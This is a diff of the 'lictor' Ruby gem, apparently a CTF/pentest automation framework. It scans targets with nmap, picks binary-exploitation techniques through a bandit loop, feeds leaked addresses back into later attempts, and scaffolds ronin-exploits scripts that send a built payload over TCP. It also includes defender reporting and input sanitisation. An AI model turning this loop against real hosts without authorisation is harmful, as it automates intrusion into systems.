lictor 0.4.0

data/lib/lictor/priors.rb

@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "augure"
+
+module Lictor
+  # Prior adaptation: the closed loop from the articles. Every recorded
+  # outcome (success/failure) is fed back into the augure bandit priors,
+  # so the next decision carries the engagement's own evidence. Same
+  # seed, different facts, honest adaptation - and every step trailed.
+  module Priors
+    module_function
+
+    def from_trail(trail, base: nil)
+      base ||= Augure::Pipeline.default_priors
+      priors = base.transform_values(&:dup)
+      trail.events.each do |event|
+        next unless event["type"] == "outcome"
+
+        tech = event["technique"]
+        priors[tech] ||= [1.0, 1.0]
+        priors[tech][event["success"] ? 0 : 1] += 1
+      end
+      priors
+    end
+
+    def adapted?(trail)
+      trail.events.any? { |event| event["type"] == "outcome" }
+    end
+  end
+end

data/lib/lictor/profiler.rb

@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "open3"
+require "timeout"
+
+module Lictor
+  # Bridge to the augure-profiler gem: binary in, facts out, through the
+  # serialization boundary (the augure-profile subprocess). A facts file
+  # passes through untouched - lictor accepts both.
+  class ProfilerError < StandardError; end
+
+  module Profiler
+    ELF_MAGIC = "\x7fELF"
+    DEFAULT_CMD = "augure-profile"
+
+    module_function
+
+    def elf?(path)
+      File.open(path, "rb") { |f| f.read(4) == ELF_MAGIC }
+    rescue
+      false
+    end
+
+    def run(binary, cmd: DEFAULT_CMD, timeout: 300)
+      stdout, stderr, status = Timeout.timeout(timeout) { Open3.capture3(cmd, binary) }
+      unless status.success?
+        hint = stderr.lines.first&.strip || "exit #{status.exitstatus}"
+        raise ProfilerError,
+          "profiling #{binary} failed: #{hint} (gem install augure-profiler?)"
+      end
+      stdout
+    rescue Errno::ENOENT
+      raise ProfilerError, "augure-profile not found (gem install augure-profiler)"
+    rescue Timeout::Error
+      raise ProfilerError, "profiling #{binary} timed out after #{timeout}s (hung gdb/metasm? check the binary)"
+    end
+  end
+end

data/lib/lictor/recon.rb

@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "nmap/xml"
+
+module Lictor
+  # Recon bridge: nmap XML in, target inventory out. ruby-nmap (1.0.3,
+  # postmodern) parses the XML; Lictor emits service candidates in the
+  # exact format the operator keeps - explicit host:port entries, wildcards
+  # structurally impossible. Recon never runs nmap itself: the operator
+  # scans, Lictor reads.
+  module Recon
+    Target = Struct.new(:host, :port, :service, :product, :version, keyword_init: false)
+
+    module_function
+
+    def from_nmap_xml(path)
+      Nmap::XML.open(path).hosts.flat_map do |host|
+        next [] unless host.status.state == :up
+
+        host.ports.select { |port| port.state == :open }.map do |port|
+          svc = port.service
+          {
+            host: host.address,
+            port: port.number,
+            service: svc&.name,
+            product: svc&.product,
+            version: svc&.version
+          }
+        end
+      end
+    end
+
+    def service_candidates(path)
+      from_nmap_xml(path).map { |t| "#{t[:host]}:#{t[:port]}" }
+    end
+
+    # Network facts for the decision layer: one fact block per open
+    # service. The binary-exploitation vocabulary grows with the service
+    # predicates (service/software_version/remote); technique packs match
+    # them exactly like binary facts.
+    def facts(path)
+      lines = []
+      from_nmap_xml(path).each do |t|
+        lines << "remote(\"true\").\n"
+        lines << "service(\"#{sanitize(t[:service])}\").\n" if t[:service]
+        if t[:product]
+          version = [t[:product], t[:version]].compact.join(" ")
+          lines << "software_version(\"#{sanitize(version)}\").\n" if t[:version]
+        end
+      end
+      lines.uniq.join
+    end
+
+    # The banner data comes from the TARGET: it must fit the fact-atom
+    # grammar (no quotes, backslashes, parens, newlines) or a hostile
+    # service forges facts and steers the decision.
+    def sanitize(value)
+      value.to_s.gsub(/[\\"()\n\r]/, "_")
+    end
+  end
+end

data/lib/lictor/report.rb

@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+module Lictor
+  # The engagement report: the auditable deliverable. Every run - the
+  # decision, the rule provenance behind it, the handoff recipe, the
+  # outcome - rendered as markdown a client can read. Predictions stay
+  # labeled as predictions.
+  module Report
+    module_function
+
+    def from_trail(trail)
+      lines = []
+      lines << "# Engagement report"
+      lines << ""
+      lines << "generated: #{Time.now.utc.iso8601}"
+      lines << ""
+      lines << "_All numbers below are model predictions with rule provenance, not field results._"
+      lines << ""
+
+      trail.runs.each do |run|
+        lines << "## Run `#{run[:run]}`"
+        lines << ""
+        lines << "- scan: #{run[:scanned]} (nmap)" if run[:scanned]
+        lines << "- acquire: #{run[:acquired]}" if run[:acquired]
+        if (built = run[:built])
+          lines << "- build: #{built[:technique]}, offset #{built[:offset]} (#{built[:ret]}), #{built[:size]} bytes -> #{built[:out]}"
+        end
+        lines << "- scaffold: #{run[:scaffolded]}" if run[:scaffolded]
+        lines << "- harvest: #{run[:harvested]}" if run[:harvested]
+        lines << "- verify: the remote #{run[:verified] ? "faulted" : "survived"}" unless run[:verified].nil?
+        lines << "- suggest: #{run[:suggested]} added" if run[:suggested]
+        lines << "- leak: #{run[:leaked]}" if run[:leaked]
+        if (measured = run[:measured])
+          lines << "- measure: the sink #{measured[:sink]} at offset #{measured[:offset]} (#{measured[:source]})"
+        end
+        lines << "- drafted: the pack #{run[:drafted]} (staging)" if run[:drafted]
+        lines << "- fuzz: #{run[:fuzzed]} (#{run[:crashes]} crashes)" if run[:fuzzed]
+        lines << "- mode: #{run[:mode]}" if run[:mode]
+        lines << "- facts: #{run[:facts_file]}" if run[:facts_file]
+        lines << "- applicable: #{Array(run[:applicable]).join(", ")}" if run[:applicable]
+        lines << "- selected: **#{run[:selected]}**" if run[:selected]
+        if (explain = run[:explain])
+          provs = explain[:provenance] || explain["provenance"] || {}
+          entries = provs[run[:selected]] || provs[run[:selected].to_s] || []
+          entries.each do |p|
+            evidence = (p[:evidence] || p["evidence"]).map { |e| e.join("=") }.join(", ")
+            lines << "  - #{run[:selected]} <- #{p[:rule] || p["rule"]} (#{evidence})"
+          end
+        end
+        Array(run[:outcomes]).each do |o|
+          verdict = o[:success] ? "success" : "failure"
+          lines << "- outcome: **#{verdict}** (#{o[:technique]})"
+        end
+        lines << ""
+      end
+      lines.join("\n")
+    end
+
+    # The defender view: the trail read from the BLUE side - the raw
+    # action timeline (what the operator did) plus, per attempted
+    # technique, the pack's detection: hints (the observables the
+    # defenses should have seen). The same JSONL feeds both sides.
+    def defender(trail, packs: [])
+      hints = Array(packs).flat_map do |p|
+        Array(p.detection).map { |d| [p.technique, d] }
+      end.group_by { |tech, _| tech }
+
+      lines = []
+      lines << "# Defender report (the trail read backwards)"
+      lines << ""
+      lines << "generated: #{Time.now.utc.iso8601}"
+      lines << ""
+      lines << "_Built from the same append-only trail the operator's report reads._"
+      lines << ""
+
+      lines << "## The action timeline"
+      lines << ""
+      trail.events.each do |event|
+        type = event["type"]
+        what = case type
+        when "scan" then "scanned #{event["target"]} (nmap)"
+        when "harvest" then "harvest the banner of #{event["target"]} - addresses read: #{event["addresses"].keys.join(", ")}"
+        when "verify" then "verified the remote faults like the local model: #{event["target"]}"
+        when "outcome" then "attempted #{event["technique"]} against #{event["target"]} (#{event["success"] ? "success" : "failed"})"
+        when "leak" then "captured leaks: #{event["addresses"].keys.join(", ")}"
+        when "fuzz" then "fuzzed #{event["binary"]}"
+        when "build" then "built the payload for #{event["technique"]} (offset #{event["offset"]})"
+        end
+        next unless what
+
+        lines << "- #{event["timestamp"]}: #{what}"
+      end
+
+      attempted = trail.events.select { |e| e["type"] == "outcome" }.map { |e| e["technique"] }.uniq
+      if attempted.empty?
+        return lines.join("
+")
+      end
+
+      lines << ""
+      lines << "## The detection hints for the attempted techniques"
+      lines << ""
+      attempted.each do |tech|
+        entries = hints[tech]
+        lines << "### #{tech}"
+        if entries
+          entries.each do |(_t, d)|
+            lines << "- #{d["channel"]}: #{d["signature"]} - #{d["note"]}"
+          end
+        else
+          lines << "- no detection hints (teach the pack: the detection: section)"
+        end
+      end
+      lines.join("
+")
+    end
+
+    def to_file(path, trail)
+      File.write(path, from_trail(trail))
+      path
+    end
+  end
+end

data/lib/lictor/run.rb

@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+require "json"
+require "securerandom"
+require_relative "handoff"
+require_relative "priors"
+require_relative "trail"
+
+module Lictor
+  # The closed loop, driven: decide (augure) -> execute the plan's next
+  # step (executor) -> outcome -> priors -> re-decide,
+  # until a shell, or the budget runs out. Every step is trailed. The
+  # handoff executor makes the whole loop safe by construction: it
+  # "executes" by printing.
+  class RunError < StandardError; end
+
+  module Run
+    module_function
+
+    def run(target:, facts:, trail:, executor: nil, max_attempts: 3,
+      seed: nil, priors: nil, packs: nil, payload: nil, binary: nil, repo_dir: nil,
+      flag_regex: nil, manifest_path: nil, resume: nil, technique: nil)
+      executor ||= ManualExecutor.new
+      attempts = []
+      leaks = {}
+      scaffolded_techniques = []
+
+      # The run manifest (ADR 0003): one stable id per logical run, the
+      # state (facts with the merged leaks, the attempt history) written
+      # per attempt. --resume <id> continues THAT run - an interruption
+      # is a pause, not an orphan.
+      if resume
+        unless manifest_path && File.file?(manifest_path)
+          raise RunError,
+            "resume needs a manifest (run with manifest_path first)"
+        end
+
+        manifest = JSON.parse(File.read(manifest_path))
+        raise RunError, "the manifest holds run #{manifest["id"]}, not #{resume}" if manifest["id"] != resume
+
+        run_id = manifest["id"]
+        facts = manifest["facts"]
+        start = manifest["attempts"].size
+      else
+        run_id = SecureRandom.uuid
+        start = 0
+      end
+
+      # per-attempt persistence: an interruption is a pause, not an
+      # orphan - the state (facts with the merged leaks, the attempt
+      # history) lands on disk after every event
+      write_manifest = lambda do |status|
+        next unless manifest_path
+
+        File.write(manifest_path,
+          JSON.generate(id: run_id, target: target, status: status,
+            attempts: attempts, facts: facts.to_s))
+      end
+
+      # The static read feeds the decision: the sink the frame analysis
+      # found (strcpy/gets...) becomes the vuln_hint the engine derives
+      # from, the winning symbol's existence becomes the target fact.
+      # Measurement -> decision, in one trail.
+      if binary
+        begin
+          require "augure-profiler" # lazy: the enrichment loads metasm
+          static = AugureProfiler::StaticOffset.offset(binary)
+          # the static read is TRAILED: the measure -> decision chain is
+          # auditable, and a swallowed error class (a NameError hiding
+          # under a bare rescue) cannot hide - the event's absence is
+          # the test's red flag
+          trail.record(run: run_id, type: "measure", target: target,
+            sink: static[:sink], offset: static[:offset], source: "static-frame")
+          enriched = +facts.to_s
+          enriched << "vuln_hint(\"unsafe_func:#{static[:sink]}\").\n" if static[:sink]
+          enriched << "target_function(\"true\").\n" if facts.include?("win_symbol(") && static[:sink]
+          facts = enriched if enriched != facts
+        rescue Metasm::DecodeError, Metasm::ParseError, Metasm::InvalidExeFormat,
+          Errno::ENOENT, Errno::EACCES
+          # the static read is an enrichment, never a gate - the
+          # KNOWN failure modes only: a programming error (NameError,
+          # NoMethodError) must crash loudly, not vanish here
+        end
+      end
+
+      (start...max_attempts).each do
+        # technique: the pipeline's decided technique pinned across the
+        # attempts - the run's own bandit draw could pick a technique
+        # whose layout differs from the payload the build just produced
+        # (measured: the pilot's build built shellcode, the run's draw
+        # picked ret2libc, no exploit exists for it -> handoff x4)
+        decision = Handoff.plan(facts: facts, seed: seed, priors: Priors.from_trail(trail), packs: packs,
+          technique: technique)
+        technique = decision[:selected]
+        break if technique.nil?
+
+        result = executor.execute(target: target, technique: technique,
+          recipe: decision[:recipe], payload: payload, flag_regex: flag_regex)
+        # The leak capture: the service's own output hex addresses
+        # become leaked_address facts for the NEXT attempt (the
+        # two-steps: leak, then rebuild with the observed values). The
+        # facts the build layouts resolve as leak:NAME.
+        if result[:output].is_a?(String) && !result[:output].empty?
+          found = Harvest.parse_banner(result[:output]).reject { |name, _| leaks.key?(name) }
+          unless found.empty?
+            leaks.merge!(found)
+            facts = Augure::Facts.parse(facts.to_s + found.map { |name, addr|
+              "leaked_address(\"#{name}\", #{addr})."
+            }.join("\n") + "\n")
+            trail.record(run: run_id, type: "leak", target: target,
+              addresses: found.transform_values { |v| format("0x%x", v) })
+            write_manifest.call("running")
+          end
+        end
+
+        # The repos have no exploit for the decided technique and the
+        # binary is in hand: scaffold it (measured constants), trail it,
+        # and the NEXT attempt discovers it. The operator still reviews
+        # the file - the loop does not invent craft, it drafts it.
+        scaffolded_now = false
+        if !result[:executed] && binary && repo_dir && !scaffolded_techniques.include?(technique)
+          require "augure-profiler" # lazy: the scaffold path loads metasm
+          build = PayloadBuilder.build(binary: binary, facts: facts,
+            technique: technique, out: File.join(repo_dir, "payload.bin"))
+          dest = ExploitScaffold.scaffold(technique: technique, constants: build,
+            repo_dir: repo_dir, author: "lictor run auto-scaffold")
+          trail.record(run: run_id, type: "scaffold", technique: technique,
+            offset: build[:offset], offset_source: build[:offset_source],
+            ret: build[:ret_source], file: dest)
+          scaffolded_now = true
+          scaffolded_techniques << technique
+          write_manifest.call("running")
+        end
+        attempt = {
+          technique: technique, executed: result[:executed],
+          success: result[:success], exploit: result[:exploit], handoff: result[:handoff],
+          flag: result[:flag],
+          # the runner's output: the oracle's search region AND the
+          # debugging record - without it a failed attempt is a black
+          # box (the flag_regex eats the only copy of the output)
+          output: result[:output]&.byteslice(0, 2000)
+        }
+        attempts << attempt
+        # The outcome feeds the priors ONLY when something actually ran:
+        # a handoff attempt (the safe default) never attempted anything,
+        # and recording it as a failure systematically downgrades the
+        # decided technique for every future decision.
+        if result[:executed]
+          trail.record(run: run_id, type: "outcome", technique: technique,
+            success: result[:success] == true, executed: true,
+            target: target)
+        end
+        break if result[:success] == true
+
+        # Failed execution: avoid repeating the same technique with the
+        # same evidence - the failed outcome feeds the priors next round.
+        # A handoff also stops: the recipe is identical, nothing was
+        # attempted. But a fresh auto-scaffold CHANGED the repos: the
+        # next attempt discovers it, so the loop continues.
+        break unless result[:executed] || scaffolded_now
+      end
+
+      status = if attempts.any? && attempts.last[:success] == true
+        "success"
+      elsif attempts.any? && attempts.none? { |a| a[:executed] }
+        "handoff"
+      else
+        "budget-exhausted"
+      end
+      write_manifest.call(status)
+      {status: status, steps: attempts, leaks: leaks, run_id: run_id}
+    end
+  end
+end

data/lib/lictor/scanner.rb

@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "open3"
+require_relative "recon"
+
+module Lictor
+  # Active scanning: nmap as a subprocess against a target,
+  # operator-scoped target. The scan is an ACTION - trailed like everything
+  # else, and it is trailed. Recon (XML parsing) stays passive.
+  class ScanError < StandardError; end
+
+  module Scanner
+    NMAP_ARGS = ["-sV", "-Pn"].freeze
+
+    module_function
+
+    def run(target, out:, nmap_cmd: "nmap", extra_args: [])
+      require "timeout"
+      _, stderr, status = Timeout.timeout(600) do
+        Open3.capture3(nmap_cmd, *NMAP_ARGS, *extra_args, "-oX", out, target)
+      end
+      unless status.success?
+        reason = stderr.lines.first&.strip || "exit #{status.exitstatus}"
+        raise ScanError, "nmap failed on #{target}: #{reason} (is nmap installed?)"
+      end
+      Recon.from_nmap_xml(out)
+    rescue Errno::ENOENT
+      raise ScanError, "nmap binary not found: #{nmap_cmd} (is nmap installed?)"
+    end
+  end
+end

data/lib/lictor/suggestion.rb

@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "augure"
+require "securerandom"
+
+module Lictor
+  # The article's inversion: the agent enriches the fact base before the
+  # reasoning, it never suggests verdicts. Suggestions pass the same
+  # closed schema as any facts file (no applicable() exists to forge),
+  # augure re-decides on the merged base, and the trail keeps who
+  # proposed what and what actually changed - auditable hypotheses.
+  module Suggestion
+    module_function
+
+    # base_facts / suggested: fact text. Returns the delta payload:
+    # {facts:, added:, applicable_before:, applicable_after:,
+    #  selected_before:, selected_after:} - and records a "suggest"
+    # trail event. seed keeps the before/after comparison deterministic.
+    def apply(base_facts:, suggested:, trail:, target:, seed: nil, packs: nil)
+      base = Augure::Facts.parse(base_facts)
+      suggested_facts = Augure::Facts.parse(suggested)
+      added = suggested_facts.to_a.reject { |rel, tuple| base[rel]&.include?(tuple) }
+
+      before = Handoff.plan(facts: base_facts, seed: seed, packs: packs)
+      merged = base.merge(suggested_facts)
+      after = Handoff.plan(facts: merged, seed: seed, packs: packs)
+
+      trail.record(run: SecureRandom.uuid, type: "suggest", target: target,
+        suggested: suggested_facts.to_a, added: added,
+        applicable_before: before[:applicable], applicable_after: after[:applicable],
+        selected_before: before[:selected], selected_after: after[:selected])
+
+      {
+        facts: merged, added: added,
+        applicable_before: before[:applicable], applicable_after: after[:applicable],
+        selected_before: before[:selected], selected_after: after[:selected]
+      }
+    end
+  end
+end

data/lib/lictor/targets.rb

@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "yaml"
+require "fileutils"
+
+module Lictor
+  # The engagement registry (ADR 0003): a named target owns a directory
+  # - facts, payloads, crash inputs, its own trail - and a line in
+  # targets.yml. Files a human can cat, no database. --target NAME
+  # scopes every command's state into the dir; the CWD-global files die.
+  module Targets
+    REGISTRY = "targets.yml"
+
+    module_function
+
+    def add(name, host_port, from: nil, bin: nil)
+      raise ArgumentError, "target name must match [a-z0-9_-]+" unless name.match?(/\A[a-z0-9_-]+\z/)
+
+      dir = File.join("targets", name)
+      FileUtils.mkdir_p(dir)
+      registry = load
+      registry[name] = {"host" => host_port}
+      registry[name]["from"] = from if from
+      registry[name]["bin"] = bin if bin
+      File.write(REGISTRY, registry.to_yaml)
+      {dir: dir, registry: registry[name]}
+    end
+
+    def load
+      File.file?(REGISTRY) ? YAML.safe_load_file(REGISTRY, permitted_classes: [], aliases: false) || {} : {}
+    end
+
+    def resolve(name)
+      entry = load.fetch(name) { raise ArgumentError, "unknown target #{name.inspect} - lictor target add <name> <host:port>" }
+      {dir: File.join("targets", name), host: entry["host"], from: entry["from"], bin: entry["bin"]}
+    end
+  end
+end

data/lib/lictor/technique_packs.rb

@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "augure"
+require "augure/pack_loader"
+
+module Lictor
+  # Loads the operator's taught techniques (data-only packs) for use in
+  # a decision. The armor runs at load time: the schema vocabulary, the
+  # corpus guard - a pack that would move a frozen verdict is refused
+  # here, before any decision sees it. No directory (or an empty one)
+  # means built-in techniques only.
+  module TechniquePacks
+    module_function
+
+    def load(dir, guard: true)
+      return [] if dir.nil? || !File.directory?(dir)
+
+      packs = Augure::PackLoader.load_dir(dir)
+      Augure::PackLoader.corpus_guard(packs) if guard
+      packs
+    rescue Augure::PackError => e
+      raise Augure::PackError, "technique packs in #{dir} refused: #{e.message}"
+    end
+  end
+end

data/lib/lictor/templates/scaffold_exploit.rb.erb

@@ -0,0 +1,47 @@
+#!/usr/bin/env -S ronin-exploits run -f
+#
+# Scaffolded by lictor for the <%= technique %> decision - REVIEW
+# before committing: the constants below are measurements, the
+# craft is yours.
+
+require "ronin/exploits/exploit"
+require "ronin/exploits/mixins/remote_tcp"
+
+module Ronin
+  module Exploits
+    class <%= klass_name %> < Exploit
+      include Mixins::RemoteTCP
+
+      register "<%= register_name %>"
+      quality :poc
+      author "<%= author %>"
+      summary "<%= technique %> against the target lictor measured"
+      description <<~DESC
+        The offset was MEASURED (<%= offset_source %>): <%= offset %>.
+        The return address comes from the facts: <%= ret_source %>.
+        The payload is the built file, sent as-is.
+      DESC
+
+      param :payload_file, String, default: "<%= payload_path %>",
+        desc: "the payload lictor built"
+
+      def build
+        nil # the payload ships pre-built
+      end
+
+      def launch
+        @socket = tcp_connect
+        print_info "sending the lictor-built payload (<%= size %> bytes)"
+        @socket.write(File.binread(params[:payload_file]))
+        reply = @socket.read(256) || ""
+        if reply.include?("FLAG:")
+          print_info reply[/FLAG: [^\n]+/]
+        else
+          raise "no flag in the reply - the measurements do not fit this target anymore"
+        end
+      ensure
+        @socket&.close
+      end
+    end
+  end
+end